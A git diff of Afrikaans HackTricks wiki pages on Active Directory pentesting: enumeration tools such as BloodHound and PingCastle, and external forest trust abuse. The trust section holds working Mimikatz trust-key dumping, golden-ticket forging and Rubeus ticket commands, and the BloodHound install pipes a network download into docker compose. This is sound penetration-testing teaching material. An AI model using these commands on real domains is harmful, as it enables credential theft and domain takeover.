* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## AD Explorer
|
||||
|
||||
[AD Explorer](https://docs.microsoft.com/en-us/sysinternals/downloads/adexplorer) is van die Sysinternal Suite:
|
||||
|
||||
> 'n Gevorderde Active Directory (AD) kyker en redigeerder. Jy kan AD Explorer gebruik om 'n AD-databasis maklik te navigeer, gunsteling-plekke te definieer, objekteienskappe en -eienskappe sonder om dialoogvensters oop te maak, toestemmings te wysig, 'n objek se skema te besigtig en gesofistikeerde soektogte uit te voer wat jy kan stoor en herhaal.
|
||||
> 'n Gevorderde Active Directory (AD) kyker en redigeerder. Jy kan AD Explorer gebruik om maklik deur 'n AD databasis te navigeer, gunsteling plekke te definieer, objek eienskappe en attribuut te sien sonder om dialoogvensters te open, regte te redigeer, 'n objek se skema te sien, en gesofistikeerde soektogte uit te voer wat jy kan stoor en weer uitvoer.
|
||||
|
||||
### Oorsig
|
||||
### Snapshots
|
||||
|
||||
AD Explorer kan afskrifte van 'n AD skep sodat jy dit offline kan ondersoek.\
|
||||
Dit kan gebruik word om kwesbaarhede offline te ontdek, of om verskillende toestande van die AD-databasis oor tyd te vergelyk.
|
||||
AD Explorer kan snapshots van 'n AD skep sodat jy dit aflyn kan nagaan.\
|
||||
Dit kan gebruik word om kwesbaarhede aflyn te ontdek, of om verskillende toestande van die AD DB oor tyd te vergelyk.
|
||||
|
||||
Jy sal die gebruikersnaam, wagwoord en rigting om te verbind (enige AD-gebruiker is nodig) benodig.
|
||||
Jy sal die gebruikersnaam, wagwoord, en rigting benodig om te verbind (enige AD gebruiker is benodig).
|
||||
|
||||
Om 'n afskrif van AD te neem, gaan na `File` --> `Create Snapshot` en voer 'n naam vir die afskrif in.
|
||||
Om 'n snapshot van AD te neem, gaan na `File` --> `Create Snapshot` en voer 'n naam vir die snapshot in.
|
||||
|
||||
## ADRecon
|
||||
|
||||
[**ADRecon**](https://github.com/adrecon/ADRecon) is 'n hulpmiddel wat verskillende artefakte uit 'n AD-omgewing onttrek en kombineer. Die inligting kan aangebied word in 'n **spesiaal geformateerde** Microsoft Excel **verslag** wat opsommings met metriek bevat om analise te fasiliteer en 'n holistiese prentjie van die huidige toestand van die teiken AD-omgewing te gee.
|
||||
[**ADRecon**](https://github.com/adrecon/ADRecon) is 'n hulpmiddel wat verskeie artefakte uit 'n AD omgewing onttrek en kombineer. Die inligting kan in 'n **spesiaal geformateerde** Microsoft Excel **verslag** aangebied word wat opsommingsoorsigte met metrieke insluit om analise te fasiliteer en 'n holistiese prentjie van die huidige toestand van die teiken AD omgewing te bied.
|
||||
```bash
|
||||
# Run it
|
||||
.\ADRecon.ps1
|
||||
```
|
||||
## BloodHound
|
||||
|
||||
Vanaf [https://github.com/BloodHoundAD/BloodHound](https://github.com/BloodHoundAD/BloodHound)
|
||||
From [https://github.com/BloodHoundAD/BloodHound](https://github.com/BloodHoundAD/BloodHound)
|
||||
|
||||
> BloodHound is 'n enkelbladsy Javascript-webtoepassing, gebou op [Linkurious](http://linkurio.us/), saamgestel met [Electron](http://electron.atom.io/), met 'n [Neo4j](https://neo4j.com/) databasis wat gevoed word deur 'n C# data-insamelaar.
|
||||
> BloodHound is 'n enkele bladsy Javascript-webtoepassing, gebou op [Linkurious](http://linkurio.us/), saamgestel met [Electron](http://electron.atom.io/), met 'n [Neo4j](https://neo4j.com/) databasis wat gevoed word deur 'n C# data-insamelaar.
|
||||
|
||||
BloodHound gebruik grafiekteorie om die verborge en dikwels onbedoelde verhoudings binne 'n Active Directory- of Azure-omgewing te onthul. Aanvallers kan BloodHound gebruik om hoogs komplekse aanvalspaaie te identifiseer wat andersins onmoontlik sou wees om vinnig te identifiseer. Verdedigers kan BloodHound gebruik om dieselfde aanvalspaaie te identifiseer en uit te skakel. Beide blou en rooi spanne kan BloodHound gebruik om 'n dieper begrip van voorregverhoudings in 'n Active Directory- of Azure-omgewing te verkry.
|
||||
BloodHound gebruik grafteorie om die versteekte en dikwels onbedoelde verhoudings binne 'n Active Directory of Azure-omgewing te onthul. Aanvallers kan BloodHound gebruik om maklik hoogs komplekse aanvalspaaie te identifiseer wat andersins onmoontlik sou wees om vinnig te identifiseer. Verdedigers kan BloodHound gebruik om daardie selfde aanvalspaaie te identifiseer en te elimineer. Beide blou en rooi span kan BloodHound gebruik om maklik 'n dieper begrip van priviligeverhoudings in 'n Active Directory of Azure-omgewing te verkry.
|
||||
|
||||
So, [Bloodhound ](https://github.com/BloodHoundAD/BloodHound)is 'n fantastiese hulpmiddel wat outomaties 'n domein kan opsom, alle inligting kan stoor, moontlike voorregverhogingspaaie kan vind en alle inligting met grafieke kan vertoon.
|
||||
So, [Bloodhound ](https://github.com/BloodHoundAD/BloodHound)is 'n wonderlike hulpmiddel wat 'n domein outomaties kan opnoem, al die inligting kan stoor, moontlike privilige-eskalasiepaaie kan vind en al die inligting kan vertoon met behulp van grafieke.
|
||||
|
||||
Bloodhound bestaan uit 2 hoofdele: **ingestors** en die **visualiseringstoepassing**.
|
||||
Booldhound bestaan uit 2 hoofdele: **ingestors** en die **visualiseringstoepassing**.
|
||||
|
||||
Die **ingestors** word gebruik om die domein te **opsom en alle inligting te onttrek** in 'n formaat wat die visualiseringstoepassing sal verstaan.
|
||||
Die **ingestors** word gebruik om **die domein op te noem en al die inligting te onttrek** in 'n formaat wat die visualiseringstoepassing sal verstaan.
|
||||
|
||||
Die **visualiseringstoepassing gebruik neo4j** om te wys hoe al die inligting verband hou en om verskillende maniere te wys om voorregte in die domein te verhoog.
|
||||
Die **visualiseringstoepassing gebruik neo4j** om te wys hoe al die inligting verwant is en om verskillende maniere te wys om privilige in die domein te eskaleer.
|
||||
|
||||
### Installasie
|
||||
Na die skepping van BloodHound CE is die hele projek opgedateer vir gebruiksgemak met Docker. Die maklikste manier om te begin, is om die vooraf gekonfigureerde Docker Compose-konfigurasie te gebruik.
|
||||
Na die skepping van BloodHound CE, is die hele projek opgedateer vir gebruiksgemak met Docker. Die maklikste manier om te begin is om sy vooraf-gekonfigureerde Docker Compose-konfigurasie te gebruik.
|
||||
|
||||
1. Installeer Docker Compose. Dit behoort ingesluit te wees by die [Docker Desktop](https://www.docker.com/products/docker-desktop/) installasie.
|
||||
1. Installeer Docker Compose. Dit behoort ingesluit te wees met die [Docker Desktop](https://www.docker.com/products/docker-desktop/) installasie.
|
||||
2. Voer uit:
|
||||
```
|
||||
curl -L https://ghst.ly/getbhce | docker compose -f - up
|
||||
```
|
||||
3. Vind die lukraak gegenereerde wagwoord in die terminale uitset van Docker Compose.
|
||||
4. Gaan in 'n webblaaier na http://localhost:8080/ui/login. Teken in met 'n gebruikersnaam van admin en die lukraak gegenereerde wagwoord van die logboeke.
|
||||
3. Vind die ewekansig gegenereerde wagwoord in die terminaluitvoer van Docker Compose.
|
||||
4. In 'n blaaier, navigeer na http://localhost:8080/ui/login. Teken in met 'n gebruikersnaam van admin en die ewekansig gegenereerde wagwoord uit die logs.
|
||||
|
||||
Na hierdie stap moet jy die lukraak gegenereerde wagwoord verander en sal jy die nuwe koppelvlak gereed hê, waarvandaan jy die ingestors direk kan aflaai.
|
||||
Na hierdie sal jy die ewekansig gegenereerde wagwoord moet verander en jy sal die nuwe koppelvlak gereed hê, waarvan jy direk die ingestors kan aflaai.
|
||||
|
||||
### SharpHound
|
||||
### SharpHound
|
||||
|
||||
Hulle het verskeie opsies, maar as jy SharpHound vanaf 'n rekenaar wat by die domein aangesluit is, wil hardloop, met jou huidige gebruiker en alle inligting onttrek, kan jy die volgende doen:
|
||||
Hulle het verskeie opsies, maar as jy SharpHound vanaf 'n rekenaar wat by die domein aangesluit is, wil uitvoer, met jou huidige gebruiker en al die inligting wil onttrek, kan jy doen:
|
||||
```
|
||||
./SharpHound.exe --CollectionMethods All
|
||||
Invoke-BloodHound -CollectionMethod All
|
||||
```
|
||||
> Jy kan meer lees oor **CollectionMethod** en lus sessie [hier](https://support.bloodhoundenterprise.io/hc/en-us/articles/17481375424795-All-SharpHound-Community-Edition-Flags-Explained)
|
||||
|
||||
As jy SharpHound wil uitvoer met verskillende geloofsbriewe, kan jy 'n CMD netonly sessie skep en SharpHound daarvandaan uitvoer:
|
||||
As jy SharpHound met verskillende geloofsbriewe wil uitvoer, kan jy 'n CMD netonly sessie skep en SharpHound van daar af uitvoer:
|
||||
```
|
||||
runas /netonly /user:domain\user "powershell.exe -exec bypass"
|
||||
```
|
||||
[**Leer meer oor Bloodhound in ired.team.**](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-active-directory-with-bloodhound-on-kali-linux)
|
||||
|
||||
|
||||
## Group3r
|
||||
|
||||
[**Group3r**](https://github.com/Group3r/Group3r) is 'n instrument om **kwesbaarhede** in Active Directory geassosieerde **Group Policy** te vind. \
|
||||
Jy moet **group3r uitvoer** vanaf 'n gasheer binne die domein met behulp van **enige domein-gebruiker**.
|
||||
[**Group3r**](https://github.com/Group3r/Group3r) is 'n hulpmiddel om **kwesbaarhede** in Active Directory geassosieer met **Groep Beleid** te vind. \
|
||||
Jy moet **group3r** vanaf 'n gasheer binne die domein gebruik met **enige domein gebruiker**.
|
||||
```bash
|
||||
group3r.exe -f <filepath-name.log>
|
||||
# -s sends results to stdin
|
||||
|
@ -90,18 +92,21 @@ group3r.exe -f <filepath-name.log>
|
|||
```
|
||||
## PingCastle
|
||||
|
||||
[**PingCastle**](https://www.pingcastle.com/documentation/) **evalueer die veiligheidstoestand van 'n AD-omgewing** en verskaf 'n mooi **verslag** met grafieke.
|
||||
[**PingCastle**](https://www.pingcastle.com/documentation/) **evalueer die sekuriteitsposisie van 'n AD-omgewing** en bied 'n mooi **verslag** met grafieke.
|
||||
|
||||
Om dit uit te voer, kan jy die uitvoerbare lêer `PingCastle.exe` uitvoer en dit sal 'n **interaktiewe sessie** begin wat 'n opsie-meny voorstel. Die verstekopsie om te gebruik is **`healthcheck`** wat 'n basis **oorsig** van die **domein** sal vestig, en **verkeerde konfigurasies** en **kwesbaarhede** sal vind. 
|
||||
Om dit te laat loop, kan jy die binêre `PingCastle.exe` uitvoer en dit sal 'n **interaktiewe sessie** begin wat 'n menu van opsies aanbied. Die standaardopsie om te gebruik is **`healthcheck`** wat 'n basislyn **oorsig** van die **domein** sal vestig, en **misconfigurasies** en **kwesbaarhede** sal vind. 
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Werk jy in 'n **cybersekuriteitsmaatskappy**? Wil jy jou **maatskappy adverteer in HackTricks**? Of wil jy toegang hê tot die **nuutste weergawe van die PEASS of HackTricks aflaai in PDF-formaat**? Kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Sluit aan by die** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** my op **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou hacktruuks deur PR's in te dien by die [hacktricks repo](https://github.com/carlospolop/hacktricks) en [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,22 +1,25 @@
|
|||
# Eksterne Bosdomein - Eenrigting (Inkomend) of bidirectioneel
|
||||
# Eksterne Woud-Domein - Eenrigting (Inkomend) of bidireksioneel
|
||||
|
||||
{% hint style="success" %}
|
||||
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Ondersteun HackTricks</summary>
|
||||
|
||||
* Werk jy in 'n **cybersecurity-maatskappy**? Wil jy jou **maatskappy geadverteer sien in HackTricks**? Of wil jy toegang hê tot die **nuutste weergawe van die PEASS of laai HackTricks in PDF af**? Kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family)
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Sluit aan by die** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** my op **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou hacktruuks deur PR's in te dien by die [hacktricks repo](https://github.com/carlospolop/hacktricks) en [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
In hierdie scenario vertrou 'n eksterne domein jou (of vertrou hulle mekaar), sodat jy 'n sekere mate van toegang daartoe kan kry.
|
||||
In hierdie scenario vertrou 'n eksterne domein jou (of albei vertrou mekaar), sodat jy 'n soort toegang daaroor kan kry.
|
||||
|
||||
## Enumerasie
|
||||
|
||||
Eerstens moet jy die vertroue **enumereer**:
|
||||
Eerstens moet jy die **enumerate** die **vertroue**:
|
||||
```powershell
|
||||
Get-DomainTrust
|
||||
SourceName : a.domain.local --> Current domain
|
||||
|
@ -66,13 +69,13 @@ IsDomain : True
|
|||
# You may also enumerate where foreign groups and/or users have been assigned
|
||||
# local admin access via Restricted Group by enumerating the GPOs in the foreign domain.
|
||||
```
|
||||
In die vorige opname is gevind dat die gebruiker **`crossuser`** binne die **`External Admins`** groep is wat **Admin-toegang** het binne die **DC van die eksterne domein**.
|
||||
In die vorige enumerasie is gevind dat die gebruiker **`crossuser`** binne die **`External Admins`** groep is wat **Admin toegang** het binne die **DC van die eksterne domein**.
|
||||
|
||||
## Aanvanklike Toegang
|
||||
|
||||
As jy nie enige **spesiale** toegang van jou gebruiker in die ander domein kon vind nie, kan jy steeds teruggaan na die AD Metodologie en probeer om **privesc van 'n onbevoorregte gebruiker** te doen (dinge soos kerberoasting byvoorbeeld):
|
||||
As jy **nie** enige **spesiale** toegang van jou gebruiker in die ander domein kon vind nie, kan jy steeds teruggaan na die AD Metodologie en probeer om **privesc van 'n onprivilegieerde gebruiker** te doen (goed soos kerberoasting byvoorbeeld):
|
||||
|
||||
Jy kan **Powerview funksies** gebruik om die **ander domein** te **opname** deur die `-Domain` parameter te gebruik soos in:
|
||||
Jy kan **Powerview funksies** gebruik om die **ander domein** te **enumerate** met die `-Domain` param soos in:
|
||||
```powershell
|
||||
Get-DomainUser -SPN -Domain domain_name.local | select SamAccountName
|
||||
```
|
||||
|
@ -80,28 +83,28 @@ Get-DomainUser -SPN -Domain domain_name.local | select SamAccountName
|
|||
[.](./)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## Impersonasie
|
||||
## Vervalsing
|
||||
|
||||
### Aanteken
|
||||
### Aanmelding
|
||||
|
||||
Deur 'n gewone metode te gebruik met die legitimasie van die gebruikers wat toegang het tot die eksterne domein, behoort jy toegang te hê tot:
|
||||
Deur 'n gewone metode te gebruik met die geloofsbriewe van die gebruikers wat toegang het tot die eksterne domein, behoort jy toegang te hê tot:
|
||||
```powershell
|
||||
Enter-PSSession -ComputerName dc.external_domain.local -Credential domain\administrator
|
||||
```
|
||||
### SID Geskiedenis Misbruik
|
||||
|
||||
Jy kan ook [**SID Geskiedenis**](sid-history-injection.md) misbruik maak oor 'n bos vertroue.
|
||||
Jy kan ook [**SID Geskiedenis**](sid-history-injection.md) oor 'n woud vertroue misbruik.
|
||||
|
||||
As 'n gebruiker **van die een bos na die ander** gemigreer word en **SID Filtering nie geaktiveer is nie**, word dit moontlik om 'n **SID van die ander bos by te voeg**, en hierdie **SID** sal by die **gebruiker se token** gevoeg word wanneer hy oor die vertroue **geauthentiseer** word.
|
||||
As 'n gebruiker **van een woud na 'n ander** gemigreer word en **SID Filtrering nie geaktiveer is nie**, word dit moontlik om **'n SID van die ander woud** toe te voeg, en hierdie **SID** sal by die **gebruiker se token** gevoeg word wanneer hulle **oor die vertroue** autentiseer.
|
||||
|
||||
{% hint style="warning" %}
|
||||
As 'n herinnering, kan jy die ondertekening sleutel kry met
|
||||
As 'n herinnering, jy kan die ondertekeningssleutel kry met
|
||||
```powershell
|
||||
Invoke-Mimikatz -Command '"lsadump::trust /patch"' -ComputerName dc.domain.local
|
||||
```
|
||||
{% endhint %}
|
||||
|
||||
Jy kan die **vertroude** sleutel gebruik om 'n **TGT te onderteken** wat die gebruiker van die huidige domein naboots.
|
||||
Jy kan **onderteken met** die **vertroude** sleutel 'n **TGT wat die** gebruiker van die huidige domein **naboots**.
|
||||
```bash
|
||||
# Get a TGT for the cross-domain privileged user to the other domain
|
||||
Invoke-Mimikatz -Command '"kerberos::golden /user:<username> /domain:<current domain> /SID:<current domain SID> /rc4:<trusted key> /target:<external.domain> /ticket:C:\path\save\ticket.kirbi"'
|
||||
|
@ -112,19 +115,7 @@ Rubeus.exe asktgs /service:cifs/dc.doamin.external /domain:dc.domain.external /d
|
|||
|
||||
# Now you have a TGS to access the CIFS service of the domain controller
|
||||
```
|
||||
### Volledige manier om die gebruiker te impersonate
|
||||
|
||||
Hier is een volledige methode om de gebruiker te impersoneren.
|
||||
|
||||
1. Verkrijg de gebruikersnaam en het wachtwoord van de doelgebruiker. Dit kan worden gedaan door middel van social engineering, phishing of het kraken van zwakke wachtwoorden.
|
||||
|
||||
2. Verkrijg toegang tot een systeem binnen het externe bosdomein waarin de doelgebruiker zich bevindt. Dit kan worden bereikt door het uitbuiten van kwetsbaarheden in de beveiliging of door het verkrijgen van legitieme toegangsreferenties.
|
||||
|
||||
3. Verhoog de privileges van de verkregen toegang tot het systeem. Dit kan worden gedaan door het uitvoeren van privilege-escalatie-exploits of door het verkrijgen van beheerdersreferenties.
|
||||
|
||||
4. Gebruik de verkregen privileges om de gebruiker te impersoneren. Dit kan worden gedaan door het wijzigen van de gebruikerscontext of door het gebruik van tools zoals "runas" om opdrachten uit te voeren als de doelgebruiker.
|
||||
|
||||
Het is belangrijk op te merken dat het impersoneren van een gebruiker zonder hun toestemming illegaal is en ernstige juridische gevolgen kan hebben. Deze informatie is alleen bedoeld voor educatieve doeleinden en mag niet worden misbruikt.
|
||||
### Volledige manier om die gebruiker na te volg
|
||||
```bash
|
||||
# Get a TGT of the user with cross-domain permissions
|
||||
Rubeus.exe asktgt /user:crossuser /domain:sub.domain.local /aes256:70a673fa756d60241bd74ca64498701dbb0ef9c5fa3a93fe4918910691647d80 /opsec /nowrap
|
||||
|
@ -138,14 +129,17 @@ Rubeus.exe asktgs /service:cifs/dc.doamin.external /domain:dc.domain.external /d
|
|||
|
||||
# Now you have a TGS to access the CIFS service of the domain controller
|
||||
```
|
||||
{% hint style="success" %}
|
||||
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Ondersteun HackTricks</summary>
|
||||
|
||||
* Werk jy in 'n **cybersecurity-maatskappy**? Wil jy jou **maatskappy geadverteer sien in HackTricks**? Of wil jy toegang hê tot die **nuutste weergawe van die PEASS of laai HackTricks in PDF af**? Kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Sluit aan by die** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** my op **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou hacking-truuks deur PR's in te dien by die [hacktricks repo](https://github.com/carlospolop/hacktricks) en [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,27 +1,33 @@
|
|||
# Kerberos-verifikasie
|
||||
# Kerberos-authentisering
|
||||
|
||||
{% hint style="success" %}
|
||||
Leer en oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Leer en oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Ondersteun HackTricks</summary>
|
||||
|
||||
* Werk jy in 'n **cybersecurity-maatskappy**? Wil jy jou **maatskappy adverteer in HackTricks**? Of wil jy toegang hê tot die **nuutste weergawe van die PEASS of HackTricks aflaai in PDF-formaat**? Kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Sluit aan by die** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** my op **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou hacking-truuks deur PR's in te dien by die [hacktricks repo](https://github.com/carlospolop/hacktricks) en [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
* Kyk na die [**subskripsieplanne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Kyk na die fantastiese berig vanaf:** [**https://www.tarlogic.com/en/blog/how-kerberos-works/**](https://www.tarlogic.com/en/blog/how-kerberos-works/)
|
||||
**Kyk na die wonderlike pos van:** [**https://www.tarlogic.com/en/blog/how-kerberos-works/**](https://www.tarlogic.com/en/blog/how-kerberos-works/)
|
||||
|
||||
{% hint style="success" %}
|
||||
Leer en oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Leer en oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Ondersteun HackTricks</summary>
|
||||
|
||||
* Werk jy in 'n **cybersecurity-maatskappy**? Wil jy jou **maatskappy adverteer in HackTricks**? Of wil jy toegang hê tot die **nuutste weergawe van die PEASS of HackTricks aflaai in PDF-formaat**? Kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Sluit aan by die** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** my op **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou hacking-truuks deur PR's in te dien by die [hacktricks repo](https://github.com/carlospolop/hacktricks) en [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
* Kyk na die [**subskripsieplanne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,29 +1,32 @@
|
|||
# LAPS
|
||||
|
||||
{% hint style="success" %}
|
||||
